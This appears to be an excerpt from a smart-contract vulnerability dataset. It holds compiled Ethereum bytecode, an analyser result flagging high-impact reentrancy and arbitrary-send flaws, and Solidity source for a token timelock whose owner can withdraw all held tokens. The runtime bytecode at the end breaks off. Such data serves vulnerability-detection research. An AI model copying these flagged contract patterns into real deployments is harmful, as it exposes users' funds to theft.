e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6007600a819055506007600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506007600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122066f90079c06767169d26ae72b74cdb411dc917f4bac629ec7d5fd5bd650bd06d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,631 |
0x47668beb6ae655ecc10e46ca889a74829ff325b4
|
/**
*Submitted for verification at Etherscan.io on 2021-10-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens at predefined intervals. Tokens not claimed at payment epochs accumulate
* Modified version of Openzeppelin's TokenTimeLock
*/
contract Lock is Ownable {
using SafeMath for uint;
enum period {
second,
minute,
hour,
day,
week,
month, //inaccurate, assumes 30 day month, subject to drift
year,
quarter,//13 weeks
biannual//26 weeks
}
//The length in seconds for each epoch between payments
uint epochLength;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
uint periods;
//the size of periodic payments
uint paymentSize;
uint paymentsRemaining =0;
uint startTime =0;
uint beneficiaryBalance = 0;
function initialize(address tokenAddress, address beneficiary, uint duration,uint durationMultiple,uint p) public onlyOwner{
release();
require(paymentsRemaining == 0, 'cannot initialize during active vesting schedule');
require(duration>0 && p>0, 'epoch parameters must be positive');
_token = IERC20(tokenAddress);
_beneficiary = beneficiary;
if(duration<=uint(period.biannual)){
if(duration == uint(period.second)){
epochLength = durationMultiple * 1 seconds;
}else if(duration == uint(period.minute)){
epochLength = durationMultiple * 1 minutes;
}
else if(duration == uint(period.hour)){
epochLength = durationMultiple *1 hours;
}else if(duration == uint(period.day)){
epochLength = durationMultiple *1 days;
}
else if(duration == uint(period.week)){
epochLength = durationMultiple *1 weeks;
}else if(duration == uint(period.month)){
epochLength = durationMultiple *30 days;
}else if(duration == uint(period.year)){
epochLength = durationMultiple *52 weeks;
}else if(duration == uint(period.quarter)){
epochLength = durationMultiple *13 weeks;
}
else if(duration == uint(period.biannual)){
epochLength = 26 weeks;
}
}
else{
epochLength = duration; //custom value
}
periods = p;
emit Initialized(tokenAddress,beneficiary,epochLength,p);
}
function deposit (uint amount) public { //remember to ERC20.approve
require (_token.transferFrom(msg.sender,address(this),amount),'transfer failed');
uint balance = _token.balanceOf(address(this));
if(paymentsRemaining==0)
{
paymentsRemaining = periods;
startTime = block.timestamp;
}
paymentSize = balance/paymentsRemaining;
emit PaymentsUpdatedOnDeposit(paymentSize,startTime,paymentsRemaining);
}
function getElapsedReward() public view returns (uint,uint,uint){
if(epochLength == 0)
return (0, startTime,paymentsRemaining);
uint elapsedEpochs = (block.timestamp - startTime)/epochLength;
if(elapsedEpochs==0)
return (0, startTime,paymentsRemaining);
elapsedEpochs = elapsedEpochs>paymentsRemaining?paymentsRemaining:elapsedEpochs;
uint newStartTime = block.timestamp;
uint newPaymentsRemaining = paymentsRemaining.sub(elapsedEpochs);
uint balance =_token.balanceOf(address(this));
uint accumulatedFunds = paymentSize.mul(elapsedEpochs);
return (beneficiaryBalance.add(accumulatedFunds>balance?balance:accumulatedFunds),newStartTime,newPaymentsRemaining);
}
function updateBeneficiaryBalance() private {
(beneficiaryBalance,startTime, paymentsRemaining) = getElapsedReward();
}
function changeBeneficiary (address beneficiary) public {
require ((msg.sender == owner() &&paymentsRemaining == 0) || msg.sender == beneficiary, 'TokenTimelock: cannot change beneficiary while token balance positive');
_beneficiary = beneficiary;
}
/**
* @return the beneficiary of the tokens.
*/
function currentBeneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= startTime, "TokenTimelock: current time is before release time");
updateBeneficiaryBalance();
uint amountToSend = beneficiaryBalance;
beneficiaryBalance = 0;
if(amountToSend>0)
require(_token.transfer(_beneficiary,amountToSend),'release funds failed');
emit FundsReleasedToBeneficiary(_beneficiary,amountToSend,block.timestamp);
}
function emergencyWithdrawal() public onlyOwner{
uint balance = _token.balanceOf(address(this));
require(_token.transfer(msg.sender, balance),"Unable to transfer");
emit Shutdowntriggered();
}
event PaymentsUpdatedOnDeposit(uint paymentSize,uint startTime, uint paymentsRemaining);
event Initialized (address tokenAddress, address beneficiary, uint duration,uint periods);
event FundsReleasedToBeneficiary(address beneficiary, uint value, uint timeStamp);
event Shutdowntriggered();
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063952aabc711610066578063952aabc714610107578063b6b55f251461010f578063d13f90b41461012c578063dc0706571461016e578063f2fde38b146101945761009e565b80635b0a3843146100a35780636041344f146100ad578063715018a6146100d357806386d1a69f146100db5780638da5cb5b146100e3575b600080fd5b6100ab6101ba565b005b6100b561037e565b60408051938452602084019290925282820152519081900360600190f35b6100ab6104b2565b6100ab610554565b6100eb6106c7565b604080516001600160a01b039092168252519081900360200190f35b6100eb6106d6565b6100ab6004803603602081101561012557600080fd5b50356106e5565b6100ab600480360360a081101561014257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060800135610893565b6100ab6004803603602081101561018457600080fd5b50356001600160a01b0316610adf565b6100ab600480360360208110156101aa57600080fd5b50356001600160a01b0316610b77565b6101c2610c6f565b6000546001600160a01b03908116911614610212576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561025d57600080fd5b505afa158015610271573d6000803e3d6000fd5b505050506040513d602081101561028757600080fd5b50516002546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b1580156102e057600080fd5b505af11580156102f4573d6000803e3d6000fd5b505050506040513d602081101561030a57600080fd5b5051610352576040805162461bcd60e51b81526020600482015260126024820152712ab730b13632903a37903a3930b739b332b960711b604482015290519081900360640190fd5b6040517f3b2f6247aff57578fd19e1ea642c8de318338a40ae0abd43c2f1a66fda3cd0fd90600090a150565b60008060006001546000141561039f575050600754600654600092506104ad565b60006001546007544203816103b057fe5b049050806103cc576000600754600654935093509350506104ad565b60065481116103db57806103df565b6006545b60065490915042906000906103f49084610c73565b600254604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561044557600080fd5b505afa158015610459573d6000803e3d6000fd5b505050506040513d602081101561046f57600080fd5b50516005549091506000906104849086610cbe565b90506104a18282116104965781610498565b825b60085490610d17565b97509295509093505050505b909192565b6104ba610c6f565b6000546001600160a01b0390811691161461050a576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007544210156105955760405162461bcd60e51b8152600401808060200182810382526032815260200180610e1c6032913960400191505060405180910390fd5b61059d610d71565b6008805460009091558015610679576002546003546040805163a9059cbb6